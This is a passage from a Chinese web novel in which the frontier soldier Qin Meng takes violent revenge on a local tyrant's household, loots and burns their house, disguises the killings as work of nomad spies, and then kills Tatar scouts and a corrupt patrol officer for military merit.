刘德才眼球外凸如死鱼,面色青紫,口角流涎,气绝身亡。死前最后烙印的,是那双再无呆傻、唯有深渊般刺骨杀意的眸子。
床上女人身材丰腴,发出含糊梦呓。
秦猛看也未看,把刘德才放回原处,被子蒙头,他指尖在门栓、地面快速拂过,抹去可能遗留的痕迹,鬼魅般退出暖阁,直扑东院。
目标——刘耀宗!
刘德才的独子,此人欺男霸女,横行乡里更甚其父亲。
前几年在镇上当街调戏过陈月娘。
憨傻秦猛赶到将其甩入粪坑,仇怨就此而生。
秦猛摸至东院,撬栓,潜入。浓重酒气中,刘家独子仰面酣睡,嘴角还挂着淫笑。左右各楼着一个妙龄女子,真是左拥右抱,风流快活。
同样的手法,厚被兜头。
但这次,秦猛使用了黑龙十八手,踹膝锁喉。双膝如铁钳锁死其双臂,铁臂绞喉,挣扎更弱,毙命更快。
榻上两名半裸的侍妾,秦猛视若无物。
下一个老狗刘福!
这是刘德才最得力的走狗,出谋划策做了太多缺德事,南河堡民都骂。
这老东西警觉异常。秦猛刚潜入其房,榻上身影便猛地坐起来,手已摸向枕下的短刀:“谁?”
回答他的,是秦猛猎豹般的扑杀。
他一个箭步,身形如电,左手如铁爪扣住其摸向枕下的手腕。
“咔嚓!”腕骨如断甘蔗般的脆响。
秦猛右手成刀,带着风雷之势。
“噗!”一声闷响,精准无比地劈在其喉结上,气管瞬间塌陷。
老管家双眼暴凸,嗬嗬作响,连惨叫都发不出。
厚被紧随其后覆面,铁膝压胸,补刀毙命。
没有丝毫花哨可言,全是杀人招式。
秦猛顺势一脚,“哐当!”轻轻踹翻角落火盆!
燃烧的木炭滚落,地毯上“腾”地窜起浓烟。
仇首伏诛,利息岂能不取?
用铁血手段复仇,积攒原始资本也是计划的一部分。
秦猛重返暖阁,描金红漆大木柜,粗暴地拽开.
“咔!”柜门应声碎裂,珠光宝气喷薄而出。
上屉,各色首饰、玉佩流光溢彩;下层,白花花的银锭码放整齐,黄澄澄的金锭刺目耀眼(至少上千两)。
厚厚银票,账本借据......
案头紫檀钱匣?直接劈开。
散碎金银、厚厚一叠大额银票尽数扫入随身加厚的粗麻袋。
多宝格?
秦猛敲击确认后,手指如铁钎插入暗格缝隙,“咔吧!”暗格弹开,码放整齐的小金锭、金铸物件、拇指大浑圆莹润的东珠......
书架高处?
猿臂轻舒,拽下不起眼木匣。
掀盖,厚厚田契!
秦猛指尖如飞,精准抽出那张墨迹尤新、写着“小南河堡军户秦武”的五十亩军功河滩地契。
下面,几封密信,火漆封口,收信人皆是幽州府要员。
行贿铁证!
“德才,这是我的赔偿,我不客气了。”
“你这老杂毛不回答,我就当你默认,同意了哦!”
秦猛斜瞥着床上的尸体,也来巧立名目。
他将厚实的锦缎铺在地上,动作快而不乱,如同在打扫战场。柜中金银首饰、最厚重的深色锦缎、纯金虎头镇纸、镶鸽血红宝石的金盏银杯......
值钱易携之物被优先挑选、利落塞入那个早已备好的加厚粗麻布袋中,大件金银器皿则被粗暴地踩扁以缩减体积。
整个过程没有任何多余的宣泄,只有冷酷而精准地搜刮财富。
凡值钱之物,如饕餮进食般疯狂纳入。
很快,那包袱鼓胀如小山,少说沉逾百斤!
秦猛低吼一声,腰马合一,双臂筋肉如虬龙暴起,将这座“金山”悍然甩上肩,牢牢系好结。
百多斤?
连普通人背着这堆金银,都能潜力爆发奔走。何况是他这负重越野如履平地的铁血教官,在杀意沸腾的此刻,这只是承载希望的起步资本。
最后瞥一眼床上那具开始僵硬的肥尸,残月映照下,那双暴凸的死鱼眼仿佛还在诉说着不甘。
“你坏了规矩,王法不管用?”
秦猛嘴角勾起一抹残酷到极致的狞笑:“那便用刀子讲真理!”
行至窗边,他毫不迟疑,纵身跃下。
闷响过后,再无声息。
此刻,后院方向,火光已窜起。
路过书房时,秦猛略一沉吟,闪身入内。
书案猩红印泥刺目。
他抽一张空白拜帖,指尖蘸泥。脑中回忆着曾见过的草原部族图腾残片,信手涂鸦几个扭曲如鬼画符、又似猛兽爪印的图案(模仿鞑子笔迹)。
“你想引祸水东引,我便顺水推舟,替你做得更真些。”秦猛眼神冷冽如冰,呢喃自语。
他将这封“拜帖”折叠好,夹藏在书籍封皮夹页内最深处,不易发现却迟早会被人翻到。
这屎盆子能扣在鞑子头上最好,扣不上也没关系,多一手扰乱视听总没坏处。
他迅速扫视书桌,打开箱子,找到几锭散银和一个沉甸甸的纯银笔洗塞入鼓囊的布袋。
书架顶上的几块上品墨锭也被他随手收入怀中——这东西在某些文人眼里,价值不亚于银子。
后院墙角老树下,秦猛扛着金山,如同背负山岳的魔神。后院管家房间的火势已开始蔓延,浓烟滚滚,火舌舔舐着窗棂,黑烟滚滚。
“走水了,后院着了!”
“库房也着了,快救火啊!”
护院、长工惊慌失措的嚎叫声彻底撕裂了深夜。
整个刘府陷入了滔天的混乱!
火光映照下,人影在浓烟中如同无头苍蝇般乱窜。
秦猛眼中寒芒一闪,就是此刻!
他身形如融入烟雾的鬼魅,借助这绝佳的混乱与视觉掩护,几步稳健地助跑,脚下发力。
“嘿!”
一声低沉的发力,如同大鹏展翅般,扛着百多斤重负再次利落地翻过高墙,沉重的包袱在落地时巧妙地曲膝卸力,未曾激起多余声浪。
落地,几个起落,他这凶徒便彻底消失在边镇外围更深的黑暗里。只留下身后那片被冲天火光与嚎叫吞噬的宅院,以及刘家上下的噩梦!
第5章 狩猎归,锋芒藏
小南河堡,寅时破晓。
屠户张富贵准时起身,提着馊水桶走向猪圈。二十四五岁的年纪,膀大腰圆,几代人都在这边陲军堡里刨食,练就了一手祖传的杀猪绝活。
“该死的鞑子,就知道烧杀抢掠,降下瘟疫全死......”
他舀起馊水泼进空荡的食槽,对着成排闲置、布满锈迹的杀猪家伙什,忍不住低声咒骂。
他爹老张屠户主动断后,就折在两年前那场鞑子掠堡的劫难里。昔日热闹的小南河堡元气大伤,人烟锐减,杀猪的营生自然也跟着凋敝。
一两个月才能开张一回,张富贵都觉着自己手艺快生锈了。想起两三年前,招几个伙计打下手,也忙不过来,他心头的恨意更是翻涌。
喂完仅有的几头猪崽,张富贵拎着空桶往回走。刚到院墙根儿,眼角余光瞥见隔壁秦家,一个高大魁梧的身影背着行囊,肩上还扛着个沉甸甸、拼命挣扎的黑影,正推门欲进。
“愣,愣子?”张富贵伸长脖子,疑惑地喊了一声。
“你,你肩上那是啥?”
“哟,张大哥,这么早?”
那黑影正是秦猛,闻声回头,见是邻居张富贵,便扛着东西走近。昏暗中,他肩上那物发出“哼哼”的挣扎声。
张富贵定睛一看,脱口惊呼:“哎哟!好家伙,这么大一头野猪!”
“嗯,”秦猛颠了颠肩上分量,枯藤牢牢捆绑着野猪的嘴和四肢,它剧烈却徒劳地扭动着。
“昨晚打猎,在地头蹲了半宿,总算没白忙活。”
其实他办事从南河镇回来,易带的银票等随身,其余大量钱财都被他分散藏匿于隐秘处。
他特意绕路去了野猪泛滥的林子,在那片被祸害的萝卜地里堵住了几头野猪,摸近突袭踹翻摁住一头,他说过要“狩猎”,岂能空手?
秦猛走到自家院墙根下,“嘭”一声将那挣扎的家伙丢在地上:“富贵哥,劳烦你给拾掇一下?”
“行,小......”张富贵放下桶,爽快应承着走过来。
突然,这个满脸横肉的汉子猛地抽动鼻子,骤然抬头,目光锐利如刀,紧紧盯在秦猛身上:“等等!愣子!你身上......有股子血腥味!”
他凑近一步,低声试探道:“你......杀人啦?”
屠夫对这味道,天生有着敏锐的直觉。猪血是那种土腥味,人血腥味更浓夹杂着铁锈味!
秦猛眉梢微挑,心道这老张鼻子够灵。
他面色平静,坦然承认:“嗯,宰了四个。昨晚撞见四个鬼鬼祟祟的,腰里别着刀,想摸进堡子。我就将他们......”做了个抹脖子动作。
“嘿!近来堡外不太平,深更半夜揣着刀潜行,那必定是鞑子狗探子!”
张富贵眼神一厉,毫不意外,语气斩钉截铁:“杀得好!”
“待会儿我把首级处理下,分你一颗。”
秦猛想也未想,直接道:“你去燧堡记功,正好够数转为正式边军。这杀猪的营生不好做。”
他瞥了一眼空荡的猪圈:“别惦记了。”
别看张富贵五大三粗,一副凶神恶煞的模样,却是秦猛儿时为数不多、真正待他好的玩伴。
早年杀猪营生好时,隔三岔五就往秦家送肉下水。秦猛打小个头疯长,体魄惊人,离不开这份供养。
这两年堡子破败,杀猪的人少了,张富贵守着几头瘦猪,自家三个娃,日子紧巴得发愁。
有机会,秦猛自然要帮衬这个曾有恩于自己的人。成了边军,领甲胄兵器,月月有粮饷,好歹算条活路。
“嘿嘿,那,那多不好意思......”张富贵搓着手,脸上挤出笑容。
“你我兄弟,少扯这些虚的。”秦猛板起脸孔。
张富贵重重点头,不再推辞:“好!那俺就厚着脸皮收下了!”
他上下打量着儿时玩伴,心头莫名涌起一阵复杂的唏嘘。
“这两年,左邻右舍没少帮衬俺家。”秦猛说着,转身往自家院门走,“这军功,我再给根生叔留一颗。”
“老李头?”张富贵忙道:“他年岁大了,怕是转不了边军,他大伢子在青阳县读书考秀才呢。给他侄子李山吧,那小子正好差一颗转边军。”
“成,知道了。”
呜咽的夜风刮过秦家小院,那扇破旧的柴门吱呀作响。秦猛轻轻推开,侧身闪入,正欲悄声回房。
突然,身后传来陈月娘压抑的、带着忧惧的声音。
“猛子哥?是你吗?”
“是我!”
秦猛身形一顿,舒了口气,随即眉头又拧紧,沉声问道:“月娘,你怎么没睡?”
“睡不,刚醒......”
陈月娘的声音低柔得像随时会被风吹散。
“哥,哥你回来啦?”里屋炕上,秦小芸似被惊醒,声音带着迷糊和乍起的惊喜。
窸窸窣窣声响,黑暗中火折子亮起一点微光,接着油灯被点燃,一颗豆大的火苗在土炕沿上跳跃,昏黄的光晕勉强撑开一小团暖色。
灯光映照下,两张小脸都带着挥之不去的憔悴和不安。
秦猛目光扫过妻妹,心口像被什么堵了一下。
他咧开嘴,露出一个宽慰的笑容,声音不高,却异常沉稳有力:“都安心睡吧,咱爹用命换的河滩田,拿回来了!”
他探手入怀,珍而重之地掏出一张叠得四四方方的薄纸——那承载着父亲秦武最后一搏的鲜血、奖励的军功田、承载着秦家根脉的地契!
“拿,拿回来了?”陈月娘猛地捂住嘴,眼泪瞬间决堤,从指缝间滚落。她踉跄一步,伸手想去触摸那张契纸,指尖却抖得厉害。
“哇!”
秦小芸再也忍不住,嚎啕一声扑下炕,死死抱住秦猛的腿,仰着小脸,泪眼模糊,“哥,真的?刘扒皮......他肯?他没为难你?”
“他不敢为难。”秦猛声音平静,大手轻轻拍了拍妹妹单薄的背,目光坚如磐石。
“去了,他就痛快给了。”
他不想多提,卸下肩头另一个沉甸甸的包裹,放在炕上,语气平缓得仿佛在说一件寻常小事。
“回堡路上,过了野猪林那片地头,遇着点小波折。撞上四个形迹鬼祟的汉子,穿黑衣别着刀,瞅着......像是从边关流窜进来的鞑子探子。”
“啊!”秦小芸倒抽一口冷气,吓得再次捂住嘴:“鞑…鞑子!那…那哥你没事吧?”
陈月娘脸色霎时惨白如纸,急忙上前,抓住秦猛的胳膊上下检视,声音都变了调:“猛哥儿,你,你没伤着吧?那些凶徒呢?他们......”
“放心,”秦猛示意自己完好无损,语气依旧沉稳,“几个不开眼的狗鞑子想打劫,被我料理干净了。反倒是从他们身上搜刮到这些东西。”
他下巴点了点炕上的包裹,“正好补贴家用。”
包裹解开,哗啦啦——
几块黄澄澄的金元宝,十几锭大银锭滚落出来,在油灯火下反射出诱人光芒。底下压着几张面额不小的银票,还有两匹在边塞显得异常珍贵的上等绸缎。
他的目光沉静地掠过这些财货,“按帅司的通告,谁剿杀鞑子、奸细,缴获归谁。不过......”
他抬眼,目光锐利地扫过妻妹:“眼下边塞不宁,堡子里也乱。这东西,绝不能对外透半个字!”
这一刻,空气仿佛凝固了。
陈月娘捏着衣角,用力点头:“我,我记住了,谁都不说!”
秦小芸瞪圆了眼睛,目光在金灿灿的元宝,银锭和哥哥那张棱角分明的脸之间来回打转。
少女惊骇之余,劫后余生的庆幸和一种近乎盲目崇拜的情绪在胸腔里翻涌:“哥,你,你真把鞑子探子全,全收拾了?
还,还得了这些?”
“嗯,是深夜在堡子外野地撞上的,纯属意外,没人瞧见。这些钱货,来路光明正大。”
秦猛不再过多解释过程,径直从包裹里挑出最鼓囊的一个钱袋,不容置疑地塞进陈月娘手里。
“月娘,拿着。这是从那几个鞑子探子身上搜出来的现钱,以后家里吃穿用度、人情往来,就靠你了。
也给你自己、给小芸,扯几身新布衣裳,打点像样的首饰。
我秦猛的女人妹子,天生丽质可人,该过几天好日子了!”
沉甸甸的钱袋骤然入怀,陈月娘双手都在发抖。
“可,可是......”
这钱的数目远超她想象,又关联着击杀鞑子探子,这等泼天凶事,本能的不安攥紧了她的心。
“怕什么?”秦猛的目光如山岳般沉稳,声音斩钉截铁。
“几个不知死活的鞑子奸细,欲潜入军堡刺探,杀便杀了。能换咱家过几天好日子,死得其所!
这钱,干净得很,你只管放心用!”
他顿了顿,环视着这间昏暗却承载着一家生计的小屋,眼神坚毅,“外头的事,有我顶着。
你们顾好家里,吃暖穿饱,开开心心过日子。
天,塌不下来!!”
陈月娘望着他刚毅沉着的脸庞,那山一般的担当终于给了她一丝依靠的力量。她深吸一口气,用力抱紧了怀里的钱袋,用力点了点头。
秦小芸也将小脸使劲贴在哥哥粗壮的胳膊上,泪痕未干,大眼睛里却亮晶晶的,全是劫后余生的安然和对哥哥毫不动摇的信赖与崇拜。
“东西收好,该花就花,莫委屈自个儿。”秦猛再次叮嘱,目光在两人脸上扫过。
“哦,对了昨晚在林子里耗了半宿,也不是白蹲,还打着了一头野猪,估摸两百斤开外。”
“真的?!”
秦小芸和陈月娘几乎是同时惊呼出声,脸上瞬间绽开惊喜。一个是为能沾荤腥而欢喜,另一个悬着的心总算是彻底放下。
“那还能有假?已交给富贵哥料理,天亮了去拿肉。”
秦猛说完,转身朝外走,“燧堡那边还有些手续要办,得去报备一下,把这次的‘军功’带去登个记。
我去去就回,你俩赶紧去睡一会儿。”
话音未落,他魁梧的身影已融入了门外更深的夜色里。在牛棚角落寻到一辆朽了半边的破板车拖着,嘎吱作响地碾过寒霜土路扑向堡外。
冰冷刺骨的寒风迎面刮来。
他因室内暖意而略显混沌的头脑彻底清醒了。鞑子奸细和真鞑子的实际价值是天差地别......
第6章 杀鞑子献功
晨曦未透,黎明的寒气凝结着林间枯草的寒霜。却掩盖不了地上的脚印和激烈搏杀的痕迹。
秦猛隐在高草丛后,锐利的目光扫过林中狼藉,确认无破绽后,攥紧板车朝河畔的烽燧堡挪动。
车子上,躺着四具“鞑子”尸体,脑后小辫在摇摆。像是在痛诉某个家伙用这种冒名顶替之法。
“他娘的!”秦猛喉间压抑的咒骂混着白气消散。
这混乱的世道逼得他不得不做个“老阴笔”。找不在场的证据,顺便多挣几个钱立点功......
车轱辘压枯枝发出嘎吱声响,尚未走出林子。
骤然间,从前方烽燧堡响起低沉急促的牛角号。
五响,代表五骑敌袭。
是烽燧台在警示附近村庄戒备。
秦猛瞳孔骤缩,猛推板车入矮树丛,如同狸猫伏身,四肢着地,匍匐至林地边缘高坡,拨开枯黄芦草,目光如淬毒匕首般射向烽燧堡。
映入眼帘的景象让他心头一沉。
果然有鞑子骑兵来袭。
鞑子,是大周王朝对草原游牧民族的统称。
只要入境劫掠,女真,契丹,匈奴等全被边民称为鞑子。
此刻,燧堡外,五个黑影正策马绕着夯土堡墙奔腾游弋。
他们身形壮硕,剃光了脑壳中央,只留着两耳旁油亮的小辫,随着马匹的颠簸甩动着——典型的、凶残的女真辫子兵。
皮袍裹着魁梧身躯,腰间弯刀、手中角弓,不时虚射,朝燧堡叽里呱啦,狂笑,嚣张至极。
其中一人策马冲向燧堡,狞笑着拉弓,箭矢“嗖”地钉在堡门土墙,距离一个探头张望的守军脑袋不过三尺。
那人吓得“妈呀”一声缩回头去。
堡墙上人影晃动,但都死死缩在垛口后面,显然被对方精湛的箭术震慑,更怕暗处藏有伏兵,只能忍气坚守,任由五个鞑子哨骑猖獗。
在空旷野地,草原异族擅长骑射,几个边军未必打得过一个。
但依托坚城堡垒进行防御,一个普通的戍卒就能轻松抵挡数倍之敌。
秦猛一眼扫去,心头迅速盘算。
五个,五个移动的军功,五匹健硕的战马!
前世刻进骨子里的战斗本能瞬间点燃。他眼神陡然变得凌厉如刀锋,手指下意识地搭上腰间那柄环首刀的冰冷刀柄,指节因用力而微微发白。
他正担心假鞑子脑袋蒙混不过关。
转眼就来了五个真鞑子——天赐良机,时不我待!
秦猛不再犹豫,身形如同融入阴影的豹子,借着稀疏林木和高大枯草的掩护,悄无声息地横向滑向那五个鞑子的侧后方。
他脚下湿滑的枯草没至膝盖,声响被精准的步伐压到最低。时而猫腰潜行,时而匍匐前进。
秦猛缓缓靠近敌人,直至靠近队尾扭头嬉笑的鞑子七八米时,才停下来,如石雕蛰伏,只剩平稳鼻息。
目标锁定,队尾那个正狂笑的鞑子。
这蠢货唾沫横飞,和同伴炫耀着女真勇士的厉害,汉人的懦弱,对身后索命的死神一无所知。
秦猛动了!
如同蛰伏的毒蛇般发动致命一击。
他整个人从草丛中暴射而出,冲至目标身边跃起。左手精准而狠厉地狠狠掐住其喉咙,右手环首刀贴着颈侧软肉切入,精准割断颈动脉。
接着,秦猛刀刃向上、向内猛力一旋、一剜。
“呃......”
那被扼住脖子的鞑子双眼差点瞪出眼眶,血丝布满眼球,软软地伏倒在马背上。
秦猛将他的身体甩开,双腿弯曲发力,矫健地跃上死者的马鞍——前世西藏军区战友倾囊相授骑术,射箭,在此刻生死搏杀间派上了大用。
然而,几乎就在他坐稳的刹那。
“嗖”,破空声炸响!
“呜——”
一道迅疾的黑影撕裂空气,直射秦猛面门。是一鞑子兵发现异常后,射出的冷箭。
千钧一发,秦猛侧头躲避,同时右手闪电般将环首刀横在面门,身体几乎侧贴在马颈之后。
“嗤!”
冷箭擦着他的脸颊飞过,卷起的劲风刮得皮肤生疼,最终狠狠钉入地面,箭杆剧烈颤动嗡鸣。
第二箭未到,那射箭的人大吼,附近一个鞑子已然拔刀,嗷嗷怪叫着催马冲来,刀光雪亮。
秦猛目光冰冷如霜,双腿狠夹马腹。胯下的黄骠马吃痛,长嘶一声,四蹄发力猛地前冲。
迎着劈来的弯刀,秦猛的身体在马背上猛地一拧腰,再猛地送肩。右手环首刀带着身体旋转之力更快更狠地一记横斩,刀光如匹练。
“咔嚓!”
令人牙酸的骨裂声刺耳响起,刀刃精准地劈中对方握刀的手腕。
噗嗤,那鞑子手腕应声而断,剧痛让他发出非人的惨嚎,本能地去捂断腕。
机会!
秦猛手腕如同灵蛇般一抖、一翻,环首刀瞬间由横斩转为斜撩。
自下而上,动作快到只留下寒光残影。
刀刃如切入热油般,划开了鞑子因惨叫而暴露出、毫无防护的咽喉。惨嚎声戛然而止,只有“嗬嗬”的漏气声,以及脖子处喷涌的血沫。
呼吸之间,连毙两骑,震慑全场。
剩下的三个女真鞑子彻底炸了锅,惊怒交加的咆哮声响彻河畔。
两人疯狂地搭箭引弓,剩下一个最凶悍的则咆哮着,催动战马,挺着弯刀,不管不顾地向秦猛冲过来。
秦猛脸上露出冷笑,扯缰绳突然转向陡峭矮坡,借地形为掩体,两支箭矢从头顶掠过钉入草地。
趁拉弓间隙,秦猛却策马折返,俯身贴马颈,环首刀蓄力。
双方接近时,鞑子慌乱挥刀,却见马背上无人。
秦猛捕捉轨迹,手臂绷紧迎劈。
“镪!”
火星四溅,震得双方身形晃动,鞑子胸前空门大开。
秦猛压下臂麻,反手就是肘击,如攻城锤,借冲势砸中其左胸口。
鞑子喷血,身体后仰。
“死!”
秦猛刀如毒蛇刺出,穿透后心直透前胸。
三人眨眼毙命!
最后两鞑子肝胆俱裂,调转马头亡命奔逃。
秦猛眼神如冰,策马直追其一。逃跑的鞑子回头,慌忙射箭,秦猛轻松躲过,拍马追上,环首刀斜刺其后心窝,对方惨叫一声落马。
最后一鞑子已经奔逃至河滩,因慌乱不辩原路,马腿深陷淤泥之中,人被掀翻。
秦猛已经追来,直刀从后颈劈入,瞬间毙命。
五名女真探哨尽数伏诛,只剩河水流淌与马匹的鼻息。
搏杀声与惨叫声传上遂堡土墙,守军壮胆探头,火把晃动,却因天色朦胧,看不太真切。
连杀五人,秦猛也是气喘吁吁。
这具带伤的身体经剧烈搏杀,已至强弩之末。
他休息片刻后,将五具尸体拖拽搭上马背,牵马走向烽燧堡,土墙上有人张望,堡门依旧紧闭。
距堡门百步,秦猛气沉丹田,大喝声刺破黎明:“南河堡军户子弟,秦猛,特来支援!”
他吼声如雷:“天黑察觉堡外鞑子奸细徘徊,追斩四人。就在刚刚斩杀五个女真鞑子探哨,九颗首级,求见燧堡秦什长,献功!”
堡墙上众守军听了,瞬间炸开锅!
“啥,九,九颗鞑子首级?”
“秦猛?那个,那个‘二愣子’?”
“我的老天爷,怪不得外面没声了,他把鞑子都宰了?”
惊呼声几乎掀顶。
守军挤在垛口,眼神炙热如狼。
堡门在几个汉子推动下开启缝隙,火光涌出门洞。
火把照亮坡下战场——秦猛昂首挺立,如铁铸丰碑,左手握角弓,右手提滴血血环首刀。
他身后五匹战马驮着鞑子尸体,铁证如山。
“猛子?九具首级?!”
秦大壮跌撞着冲出燧堡,数了数马匹上的尸体,震惊又疑惑地打量秦猛。
“林带树丛还有四具,本是来燧堡,却又见鞑子哨探。”秦猛平淡指身后,似在说宰杀疯狗。
“呃......”
秦大壮当即带人随他去林间,见板车上四具尸体、多人搏斗痕迹,以及许多银锭,铜钱,几匹上好的绸缎等财物,确认此事不假。
......
烽燧堡,篝火噼啪作响。
大锅里白粥翻滚冒泡,粗粮饼子烤得焦香四溢。
“九颗鞑子首级,这可是天大的功劳,朝廷赏赐钱粮!”秦大壮喜得声音发颤,满脸红光。
秦猛目光扫过堡内面黄肌瘦的土兵,嘴角勾起一抹浅笑:“首级我只登记三颗,再留匹战马代步便够。其中两颗分给张富贵,李山。剩下四颗,谁要凑军功转正规军,现在就来领。”
南河堡正兵八人,土兵近三十。
很快,差一颗凑齐军功的四人被选定。
强弓手刘铁柱,刀盾手王勇,以及叫张龙,张虎兄弟,一个斥候,一个长枪手,皆是老兵。
秦猛看着秦大壮登记他们的信息,又继续说道:“剩下的缴获,几匹马、弓刀、皮甲,充入南河堡武库,让秦什长按需分给弟兄们用。”
人群瞬间爆发出震耳欢呼,个个眼里燃起光芒。秦大壮却愣在原地,满脸错愕地望着他。
秦猛嘴角勾起一抹浅笑,转身从板车上拎起钱袋,哗啦倒出银锭铜钱,又取过绸缎布匹。
“这些财物分了,弟兄们过得苦,堡里当值的人人有份!”
篝火旁众人猛地僵住,个个目瞪口呆!
按大周律例,边境战利品本是“谁杀敌就归谁”的规矩,可从没人像秦猛这样,全部分给弟兄。
见没人敢动,秦猛亲自上前发放,把银子绸缎塞到颤抖的守军手里,挨个拍拍他们的肩膀。
“拿着,咱们是过命的战友!”
“以后咱弟兄一起守家园,杀鞑子,日子定会好起来!”
财物分得清清楚楚,连什长秦大壮都有份,唯独主持分配的秦猛两手空空,引得大伙错愕。
“猛子,你这是......”
“大壮叔,我有这个就够。”秦猛掏出个二两小银元宝晃了晃:“弟兄们都有家室,拿这笔钱给家人添件衣裳、办点年货,过个踏实年。”
人均十来两银子,够五口之家过上半年好日子。守军们紧攥着银子,眼眶发热,看向秦猛的眼神里,狂热的感激混着敬畏,悄然生了根。
第7章 杀伐果断
天色大亮,朝阳染红了界河。
确认河水未冰冻,鞑子白天不会来。
秦大壮急着带秦猛去城寨登功。
秦猛回家见了陈月娘与秦小芸,换了身干净外衣,说了这事儿。陈月娘塞给他几个油纸包的鸡蛋饼子,秦小芸则帮哥哥拍去身上浮尘......
秦大壮、秦猛与张屠户、李山等人骑上战马,或赶着载九具首级的板车,出了铺堡,在朝阳下拉出长影,浩浩荡荡向南河城寨行去。
黄土道上,冷风如刀割面,马蹄声嘚嘚作响,敲碎了旷野的寂静。
秦大壮策马在前,秦猛断后压阵,张屠户与李山分护两侧,几名土兵赶着盖草的板车紧随其后。
车板之上,九具鞑子的尸身静静躺着,那是他们换来军功赏赐的凭证,更是请功的敲门砖。
界河南岸的大周防线向来森严。
烽燧如星点缀原野,铺堡似棋布列要道,小则驻兵数十,大则屯卒数百。
而南河城寨这等核心军镇,更是驻守着上千边军精锐。幽州境内,驻扎着大周虎贲军。数万将士枕戈待旦,与草原各部隔河对峙、厮杀。
一行人马不停蹄,车驾飞驰。
待日头升至中天,变得炙热灼人时,南河城寨已遥遥在望。
途经一处岔路口,斜刺里突然冲出一彪人马!
约莫三四十号人,穿皂衣、外套皮甲,刀枪在握却个个懒懒散散,正是地方厢军的模样!这些州府兵向来疏于操练,远不如边军精锐。
领头者身着青袄袍,眼神阴鸷如鹰,正是青阳县巡检许方。
他身后跟着个白净面皮的青年,锦衣佩玉,与周遭军汉的粗粝格格不入,正是他的妻弟。
“站住,巡检司缉盗!”
巡检许方厉声喝止,率队蜂拥而至。厢兵们迅速散开,将去路死死堵住。
“巡检司的弟兄,我等是戍堡边军,为何拦路?”
秦大壮勒住马缰,手掌已扣住刀柄,眼底警惕之色毕露。
大周体制里,地方厢军拱卫州县却战力拉胯,粮饷远逊边军而心怀怨怼;边军则素来鄙夷厢军孱弱,双方关系本就不睦,冲突时有发生。
“放肆!你个小卒是什么身份?也敢这般说话?这位是巡检使臣许方许大人,你也配喊兄弟?”白面青年狐假虎威地呵斥,语气极尽轻蔑。
许巡检打着官腔:“巡检司奉命办案,严查境内可疑人等。”
他的目光却如钩子般,死死盯住板车稻草缝隙间露出的鞑子长筒靴——那是战功凭证!
对养在后方的厢军而言,简直是送到嘴边的肥肉。
白面青年也看见了异常,拍马上前低声道:“姐夫,这是机会!
夺了军功你便能升迁。
他们不过几个小戍卒,杀了丢进河里,无人知晓......”
那小子话音虽轻,却逃不过秦猛敏锐的耳目。他眼中寒光骤然暴涨,摁住刀柄,杀心暗藏。
“原来是许巡检。”秦大壮强压下火气拱手,语气毫无诚意。
依大周律,七品以下穿青袍,这巡检实是个八九品不入流,双方不同体系,本就用不着惧。
“哼,在下南河口烽燧堡什长秦大壮,押鞑子首级赴城寨报功。军情如火,诸位,行个方便吧!”秦大壮的态度强硬,直接点明来意。
“报功?”
许方皮笑肉不笑,阴恻恻地道:“秦什长有所不知,南河镇昨夜发生了血案,刘保正父子,管家遇害,手段残忍,宅院被焚......”
秦猛面无表情地盯着他。
秦大壮却心头一震,刘德才竟被灭门?
他下意识瞥向秦猛。
刘扒皮强占了秦家的军功田,与他有仇怨,但秦猛昨夜连杀鞑子,分身乏术,绝无可能。
转瞬之间,秦大壮已然醒悟,对方这是要找借口抢功。
果然,许巡检话锋一转,毒蛇般的视线扫过众人:“本官怀疑,昨夜入境行凶的鞑子就是你们车上这些。
来人,连人带车扣回巡检司查......”
“放你娘的狗屁!”
张屠户性子最烈,按捺不住破口大骂,“谁不知道鞑子脑袋是军功,你们......”
“放肆!贱种找死!”
那白面青年勃然大怒,猛地策马冲上前,手中马鞭如毒蛇出洞,“啪”的一声狠狠抽在张屠户脸上,血痕瞬间浮现。
“敢骂朝廷命官?打死你这贱骨头!”
他狞笑着,扬鞭欲再抽,却听得一声炸雷般怒吼:“袭击边军,即是造反!”
黑影如鬼魅欺近——却是秦猛抓住这转瞬即逝的契机,拍马杀出。
“哐啷”一声,直刀出鞘,寒芒快如闪电。
“噗嗤!”
腥血狂喷,一条握着马鞭的胳膊直飞上半空。
白面青年发出杀猪般的惨嚎:“手,我的手啊!”
那马匹受惊蹦跳,将他掀落马背。
那白面青年落地,单手捂着胳膊,痛得翻滚不止。
全场死寂!
许方眼珠子瞬间血红:“小强......”
他“锵”的拔刀,歇斯底里地咆哮:“给老子砍死他,杀!”
几十个巡检司官兵如梦初醒,乱哄哄拔刀围上。
“哪个不怕诛九族?只管来!”
秦猛单手持血刀,勒马横立,一人一骑竟压得众人窒息。
他手中斩血的长刀,直指许方:“尔等胆大包天,抢功、栽赃,还袭击边军,伤我兄弟。此乃谋逆大罪,九族皆斩。再前进一步者,死!”
“抄家伙!”
秦大壮、张屠户等人目眦欲裂,钢刀长枪“哐啷”出鞘,以秦猛为中心结成冰冷战阵。
张屠户捂着火辣辣的脸,听着青年的惨叫,望着秦猛挺拔的背影,心头涌起一股滚烫的暖流。
这份为兄弟出头的决绝让他浑身热血翻涌。
“姐,姐夫......快剁了他......我,我要他死......”
地上断臂青年缓过劲来,朝秦猛怨毒嘶喊。
秦猛眼中厉芒一闪,再不留手。长刀归鞘,反手抽出马鞍上的骑兵长枪,手臂肌肉贲张如铁。
“噗!”
长枪如毒龙出洞,破胸而过,将咒骂声与生命一同钉进泥地。
白面青年眼珠暴突,血沫从嘴角涌出,抽搐两下便没了声息。
“啊!老子跟你拼了!”
许方目睹小舅子惨死,彻底疯狂,挥刀冲来,几名亲兵也嚎叫着跟上。
“屡次袭击边军,勾结鞑子行凶,反贼受死!”秦猛占据大义断喝一声,人马合一挺枪直刺。
枪尖呼啸而出,撕裂空气,直捅许方心窝。
“咔嚓,噗!”
枪尖破开薄甲透体而出,巨大的冲力将许方扎了个对穿。
秦猛狂吼发力,枪杆一挑一甩,许方的尸身如炮弹般砸翻两名亲兵,枪头顺势横扫猛砸。
“砰砰”两声,两颗头颅如西瓜般炸裂!
哐啷!
他单手持枪,环首刀出鞘如电,刀光夺目。
“噗嗤......”
血雾接连喷溅,三个扑上来的兵丁捂着脖颈栽倒,鲜血汩汩涌出。
眨眼间,主谋与心腹已横尸一地,血泊蔓延开来。
“鬼,鬼啊!”
其余厢兵魂飞魄散,兵器“咣当”落地,“扑通扑通”跪倒一片,吓得筛糠般发抖。
秦猛甩去刀上血珠,怒视众兵卒,声如寒冰:“把这些反贼尸体绑了,押去城寨作证陈述,尚有条活路。
谁想逃跑——这就是他的下场!”
他指着死不瞑目的许方:“听见了吗?”
